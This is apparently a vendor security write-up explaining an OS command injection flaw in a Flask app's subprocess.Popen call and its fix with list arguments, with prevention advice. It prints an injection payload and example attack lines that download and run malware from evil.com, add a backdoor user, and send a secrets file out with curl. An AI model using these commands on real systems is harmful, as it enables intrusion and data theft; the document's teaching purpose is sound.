How Command Injection happens in Python subprocess and how to fix it

Introduction

The open_directory method in src/jm_view_server/app.py serves a seemingly simple purpose: it opens a file explorer window to a specified directory path. However, at line 838, a dangerous pattern lurked in the Windows-specific code path. The function constructed a shell command using an f-string that directly embedded user-controlled input:

subprocess.Popen(f'explorer /select,"{path}"')

This single line created a direct pathway for remote attackers to execute arbitrary commands on the server. Because this is a Flask web application handling HTTP requests, any authenticated user could craft a malicious directory path that would break out of the intended command and execute their own shell commands on the underlying Windows system.

The Vulnerability Explained

When subprocess.Popen receives a string argument on Windows, it invokes the command through the shell interpreter (cmd.exe). This means shell metacharacters like &, |, ;, and backticks are interpreted and can be used to chain additional commands.

Here's the vulnerable code from line 838:

subprocess.Popen(f'explorer /select,"{path}"')  # 选中

The path variable comes from the directory parameter passed to the open_directory method, which originates from an HTTP request. While the code includes a verify() check for authentication, an authenticated attacker could still exploit this vulnerability.

Attack Scenario

Consider an attacker who sends a request to open a directory with this crafted path:

C:\Users" & calc.exe & echo "

The resulting command becomes:

explorer /select,"C:\Users" & calc.exe & echo ""

The shell interprets the & as a command separator, executing:
1. explorer /select,"C:\Users" - opens the explorer (legitimate)
2. calc.exe - launches calculator (attacker's payload)
3. echo "" - cleans up the trailing quote

In a real attack, instead of calc.exe, an attacker would execute commands like:
- powershell -c "Invoke-WebRequest -Uri http://evil.com/malware.exe -OutFile C:\temp\m.exe; C:\temp\m.exe" - download and execute malware
- net user hacker Password123! /add - create a backdoor user account
- type C:\secrets\config.ini | curl -X POST -d @- http://evil.com/exfil - exfiltrate sensitive data

Why This Matters

This vulnerability is particularly severe because:

1. Remote Exploitability: As a Flask web service, the open_directory endpoint is accessible over HTTP
2. Authentication Bypass Risk: While verify() provides some protection, authenticated users can still exploit it
3. Full System Compromise: Successful exploitation grants the attacker the same privileges as the web server process
4. Platform-Specific Hiding: The vulnerability only manifests on Windows, potentially escaping detection during Linux-based development and testing

The Fix

The fix, applied at line 838, converts the subprocess call from a string to a list format:

Before (Vulnerable)

subprocess.Popen(f'explorer /select,"{path}"')  # 选中

After (Fixed)

subprocess.Popen(['explorer', f'/select,{path}'])  # 选中

This change fundamentally alters how the command is executed:

When using the list format, Python calls the Windows CreateProcess API directly with explorer.exe as the executable and /select,{path} as a single argument. Shell metacharacters like & and | are never interpreted—they're simply passed as literal characters in the path string.

The fix also adds a # nosec B404 comment on the import statement, acknowledging that the subprocess module usage has been reviewed and deemed safe in this context.

Prevention & Best Practices

1. Always Use List Arguments with subprocess

# ❌ Dangerous - shell interprets the string
subprocess.Popen(f'command "{user_input}"')
subprocess.run(f'command {user_input}', shell=True)

# ✅ Safe - arguments passed directly to executable
subprocess.Popen(['command', user_input])
subprocess.run(['command', user_input])

2. Never Use shell=True with User Input

If you must use shell features, ensure no user input is involved:

# ❌ Never do this
subprocess.run(f'ls {user_dir}', shell=True)

# ✅ If shell features are needed, use shlex.quote()
import shlex
subprocess.run(f'ls {shlex.quote(user_dir)}', shell=True)

# ✅ Better: avoid shell entirely
subprocess.run(['ls', user_dir])

3. Validate and Sanitize Paths

Even with safe subprocess calls, validate that paths are within expected boundaries:

import os

def safe_open_directory(directory):
    # Resolve to absolute path
    abs_path = os.path.abspath(directory)

    # Verify it's within allowed directories
    allowed_base = '/var/app/downloads'
    if not abs_path.startswith(allowed_base):
        raise ValueError("Path traversal attempt detected")

    # Verify the path exists
    if not os.path.exists(abs_path):
        raise ValueError("Path does not exist")

    subprocess.Popen(['explorer', f'/select,{abs_path}'])

4. Use Security Linters

Tools like Bandit can catch these patterns during development:

# Install Bandit
pip install bandit

# Scan your code
bandit -r src/ -ll

Bandit's B602 rule specifically flags subprocess calls with shell=True or string arguments.

Key Takeaways

• The open_directory method's use of f-strings with subprocess.Popen created a direct command injection vector on Windows systems
• Converting from subprocess.Popen(f'explorer /select,"{path}"') to subprocess.Popen(['explorer', f'/select,{path}']) eliminates shell interpretation entirely
• Flask request handlers that invoke system commands require extra scrutiny—they bridge HTTP input directly to OS execution
• Platform-specific code paths (like Windows vs. Linux handling) can hide vulnerabilities that only manifest in certain environments
• The existing verify() authentication check was insufficient—defense in depth requires safe coding patterns regardless of access controls

How Orbis AppSec Detected This

• Source: HTTP request parameter directory passed to the open_directory method in src/jm_view_server/app.py
• Sink: subprocess.Popen(f'explorer /select,"{path}"') at line 838, where the shell interprets the constructed string
• Missing control: No input sanitization or safe argument passing; user-controlled path embedded directly in shell command string
• CWE: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
• Fix: Converted subprocess call from shell-interpreted string format to safe list-based argument format

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability in app.py demonstrates how a seemingly innocuous file explorer feature can become a critical security risk. The pattern of embedding user input into subprocess strings is unfortunately common, especially when developers focus on functionality over security.

The fix is elegantly simple: by changing from a string to a list format, we completely sidestep shell interpretation. This is a pattern every Python developer should internalize—whenever you reach for subprocess, reach for list arguments first.

Remember that authentication alone doesn't protect against injection attacks. Even authenticated users shouldn't be able to execute arbitrary commands on your server. Defense in depth means writing safe code at every layer, not just at the perimeter.

References

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• OWASP Command Injection Prevention Cheat Sheet
• Python subprocess Documentation - Security Considerations
• Semgrep Rules for Python Command Injection
• fix: sanitize shell/subprocess call in app.py